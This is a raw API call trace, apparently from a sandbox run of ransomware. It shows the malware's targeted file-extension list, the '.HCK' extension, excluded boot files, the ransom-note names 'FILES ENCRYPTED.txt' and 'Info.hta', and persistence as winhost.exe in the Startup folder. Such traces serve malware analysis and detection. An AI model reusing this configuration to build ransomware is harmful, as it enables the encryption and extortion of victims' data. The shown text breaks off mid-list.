RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579580 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5796b8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579610 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579628 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5796a0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579640 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x5796d0 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579658 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5796e8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579700 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5795f8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579730 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579598 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5795c8 [0223.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5795e0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579088 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579100 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5790b8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579058 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5790a0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578fe0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578f98 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5791c0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579070 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579118 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579238 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579208 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579130 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579010 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579190 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x578ff8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x506280 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5790d0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5790e8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579250 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578fc8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579220 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579028 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579148 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5791f0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579160 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579178 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579040 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5791a8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x5791d8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579268 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578f80 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x578fb0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579c80 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579de8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579dd0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579b90 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579bf0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579d70 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579da0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x579cb0 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579d10 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533750 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579db8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x533620 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579bd8 [0223.670] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579bc0 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579cc8 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579d28 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579d88 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579d58 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579e00 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579e78 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579e18 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579c08 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579e30 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579cf8 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x579c20 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579d40 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5335f0 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579c38 [0223.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x579e48 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579758, Size=0x800) returned 0x57a368 [0223.671] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0223.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x577538 | out: hHeap=0x4f0000) returned 1 [0223.671] lstrlenW (lpString="") returned 0 [0223.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57b350 | out: hHeap=0x4f0000) returned 1 [0223.671] lstrlenW (lpString=".HCK") returned 4 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533710, Size=0x8) returned 0x533420 [0223.671] lstrlenW (lpString=".HCK") returned 4 [0223.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57b2a8 | out: hHeap=0x4f0000) returned 1 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b1b8, Size=0x20) returned 0x52ee10 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ee10, Size=0x40) returned 0x50a3a0 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a3a0, Size=0x80) returned 0x576ff8 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533710, Size=0x8) returned 0x533580 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533580, Size=0x10) returned 0x57b2c0 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b2c0, Size=0x20) returned 0x52e9d8 [0223.671] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0223.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576ff8 | out: hHeap=0x4f0000) returned 1 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b2a8, Size=0x20) returned 0x52eaf0 [0223.671] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eaf0, Size=0x40) returned 0x50a700 [0223.671] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0223.672] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0223.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50a700 | out: hHeap=0x4f0000) returned 1 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b1b8, Size=0x20) returned 0x52ed20 [0223.672] lstrlenW (lpString="Info.hta") returned 8 [0223.672] lstrlenW (lpString="Info.hta") returned 8 [0223.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ed20 | out: hHeap=0x4f0000) returned 1 [0223.672] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x556538, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x48 [0223.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556538 | out: hHeap=0x4f0000) returned 1 [0223.672] lstrlenW (lpString="winhost.exe") returned 11 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e9d8, Size=0x40) returned 0x50a820 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b218, Size=0x20) returned 0x52eca8 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b2a8, Size=0x20) returned 0x52ebb8 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ebb8, Size=0x40) returned 0x50a1f0 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a1f0, Size=0x80) returned 0x576888 [0223.672] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576888, Size=0x100) returned 0x5350a8 [0223.672] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0223.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5350a8 | out: hHeap=0x4f0000) returned 1 [0223.672] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x556538, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0223.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57b378 | out: hHeap=0x4f0000) returned 1 [0223.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x556538 | out: hHeap=0x4f0000) returned 1 [0223.673] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533480, Size=0x8) returned 0x533440 [0223.674] lstrlenW (lpString="%windir%;") returned 9 [0223.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52eca8 | out: hHeap=0x4f0000) returned 1 [0223.674] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0223.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546530 | out: hHeap=0x4f0000) returned 1 [0223.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b350, Size=0x20) returned 0x52e9d8 [0223.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e9d8, Size=0x40) returned 0x50a8b0 [0223.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a8b0, Size=0x80) returned 0x576668 [0223.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576668, Size=0x100) returned 0x5350a8 [0223.674] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533480, Size=0x8) returned 0x533430 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533430, Size=0x10) returned 0x57b2c0 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b2c0, Size=0x20) returned 0x52eca8 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333d0, Size=0x8) returned 0x533410 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333e0, Size=0x8) returned 0x533470 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333b0, Size=0x8) returned 0x5333a0 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333a0, Size=0x10) returned 0x57ad08 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ad08, Size=0x20) returned 0x52ea28 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533410, Size=0x10) returned 0x57ad68 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533470, Size=0x10) returned 0x57ae70 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533410, Size=0x8) returned 0x5334c0 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533460, Size=0x8) returned 0x533470 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ad68, Size=0x20) returned 0x52eac8 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ae70, Size=0x20) returned 0x52ed98 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533490, Size=0x8) returned 0x5334d0 [0223.675] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0223.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5350a8 | out: hHeap=0x4f0000) returned 1 [0223.675] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57abb8, Size=0x20) returned 0x52edc0 [0223.675] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x57b378, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0223.675] lstrlenW (lpString="C:\\") returned 3 [0223.675] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0223.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57b378 | out: hHeap=0x4f0000) returned 1 [0223.676] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533410, Size=0x82) returned 0x535138 [0223.676] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533460, Size=0x100) returned 0x578d48 [0223.676] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x535138, Size=0x104) returned 0x5797e8 [0223.676] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578d48, Size=0x200) returned 0x5798f8 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533520 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5798f8 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57acf0 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576668 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ae70 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576a20 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ae10 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5797e8 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ae40 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x578e50 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ad20 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x579758 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ad08 | out: hHeap=0x4f0000) returned 1 [0223.677] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ac48, Size=0x20) returned 0x52eb40 [0223.677] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52eb40, Size=0x40) returned 0x50a5e0 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533490 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ae28 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5350a8 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ad38 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5766f0 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57adc8 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5334e0 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57ac90 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x505450 | out: hHeap=0x4f0000) returned 1 [0223.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506160 | out: hHeap=0x4f0000) returned 1 [0223.677] lstrlenW (lpString="%systemdrive%") returned 13 [0223.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52edc0 | out: hHeap=0x4f0000) returned 1 [0223.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x576aa8 | out: hHeap=0x4f0000) returned 1 [0223.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5333d0 | out: hHeap=0x4f0000) returned 1 [0223.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x536510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0223.678] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57ae10, Size=0x20) returned 0x52edc0 [0223.678] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52edc0, Size=0x40) returned 0x50a1a8 [0223.678] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a1a8, Size=0x80) returned 0x576778 [0223.678] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576778, Size=0x100) returned 0x5350a8 [0223.678] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5350a8, Size=0x200) returned 0x578d48 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578d48, Size=0x400) returned 0x579758 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579758, Size=0x800) returned 0x577538 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x577538, Size=0x1000) returned 0x577538 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533460, Size=0x8) returned 0x5333d0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5333d0, Size=0x10) returned 0x57abd0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57abd0, Size=0x20) returned 0x52ecf8 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52ecf8, Size=0x40) returned 0x50a358 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x50a358, Size=0x80) returned 0x576ee8 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x576ee8, Size=0x100) returned 0x57e9e0 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57e9e0, Size=0x200) returned 0x578d48 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x578d48, Size=0x400) returned 0x579758 [0223.679] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x579758, Size=0x800) returned 0x5807a0 [0223.679] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb